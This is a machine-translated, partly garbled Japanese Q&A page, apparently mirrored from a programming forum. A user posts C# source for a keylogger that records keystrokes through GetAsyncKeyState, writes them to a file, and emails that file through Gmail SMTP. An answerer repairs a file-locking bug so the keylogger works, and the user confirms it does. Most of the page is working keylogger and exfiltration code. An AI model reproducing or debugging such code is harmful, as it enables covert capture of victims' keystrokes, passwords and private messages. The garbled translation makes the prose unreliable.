2017-06-03 8 views
-1

作成したコンソールキーロガーを投げたが、問題を持って処理します。
ラインをusing (StreamWriter sw = File.AppendText(path))エラーにLogKeys();方法 (初めてここmistakesin質問について申し訳ありません書き込みでキーロガーが同じディレクトリを使用して、ガイドの助けを借りて、例外

Additional information: The process cannot access the file 'C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt' because it is being used by another process.

を与えます使用)

図書館:

using System.IO; 
using System.Threading; 
using System.Windows.Forms; 
using System.Runtime.InteropServices; 
using System.Net.Mail; 


マイコード:

static void Main(string[] args) 
     { 
      Path(); 
      SendMail(); 
      LogKeys(); 
     } 

Mathowエラーを与える:

static void LogKeys() 
     { 
      String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
      filepath = filepath + @"\LogsFolder\"; 
      KeysConverter converter = new KeysConverter(); 
      string text = ""; 
      string path = (@filepath + "LoggedKeys.txt"); 
      while (true) 
      { 
       Thread.Sleep(5); 
       for (Int32 i = 0; i < 2000; i++) 
       { 
        int key = GetAsyncKeyState(i); 
        if (key == 1 || key == -32767) 
        { 
         text = converter.ConvertToString(i); 
         using (StreamWriter sw = File.AppendText(path)) 
         { 
          sw.WriteLine(text); 
         } 
         break; 
        } 
       } 
      } 
     } 

メソッドは、パスを作成し、それが
メールを送信

static void Path() 
     { 

       String filepath = 
       Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
       filepath = filepath + @"\LogsFolder\"; 

       if (!Directory.Exists(filepath)) 
       { 
        Directory.CreateDirectory(filepath); 
       } 

       string path = (@filepath + "LoggedKeys.txt"); 

       if (!File.Exists(path)) 
       { 
        using (StreamWriter sw = File.CreateText(path)) 
        { 

        } 
       } 
      } 

Methot存在するdoesent場合、ファイル

方法で
static void SendMail() 
     { 
      String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
      string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt"; 
      DateTime dateTime = DateTime.Now; 
      string subtext = "Loggedfiles"; 
      subtext += dateTime; 
      SmtpClient client = new SmtpClient("smtp.gmail.com", 587); 
      MailMessage LOGMESSAGE = new MailMessage(); 
      LOGMESSAGE.From = new MailAddress("[email protected]"); 
      LOGMESSAGE.To.Add("[email protected]"); 
      LOGMESSAGE.Subject = subtext; 
      client.UseDefaultCredentials = false; 
      client.EnableSsl = true; 
      client.Credentials = new System.Net.NetworkCredential("[email protected]", "password"); 
      System.Threading.Thread.Sleep(2); 
      LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); 
      LOGMESSAGE.Body = subtext; 
      client.Send(LOGMESSAGE); 
      LOGMESSAGE = null; 
     } 
+4

'(20 == 20)であれば、'(> 1 5)しばらく???質問をする前にナンセンスコードを削除してください。誰もあなたのコードを理解するためにそのようなものを解読することを望んでいません。 [MCVE] –

答えて

0

あなたはファイルCを使用:\ユーザーは、電子メールの添付ファイルとしてD.A \ドキュメント\ LogsFolder \ LoggedKeys.txtを\ Attachmentオブジェクトを配置せず。したがって、ファイルは開いたままで、LogKeysメソッドで再びアクセスしようとすると、ファイルを開くことができません(共有が指定されていない限り、ファイルは一度に1回しか開くことができません)。

適切usingですべてのオブジェクトを配置すると、ファイルを閉じて、あなたの問題を解決する必要があります。

static void SendMail() 
{ 
    String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 
    string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt"; 
    DateTime dateTime = DateTime.Now; 
    string subtext = "Loggedfiles"; 
    subtext += dateTime; 
    using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587)) 
    { 
     MailMessage LOGMESSAGE = new MailMessage(); 
     LOGMESSAGE.From = new MailAddress("[email protected]"); 
     LOGMESSAGE.To.Add("[email protected]"); 
     LOGMESSAGE.Subject = subtext; 
     client.UseDefaultCredentials = false; 
     client.EnableSsl = true; 
     client.Credentials = new System.Net.NetworkCredential("[email protected]", "password"); 
     System.Threading.Thread.Sleep(2); 
     using (var attachment = new Attachment(Newfilepath2)) 
     { 
      LOGMESSAGE.Attachments.Add(attachment); 
      LOGMESSAGE.Body = subtext; 
      client.Send(LOGMESSAGE); 
     } 
    } 
} 
+0

を書いてくださいありがとう、それは働いた!!! – Daniel

関連する問題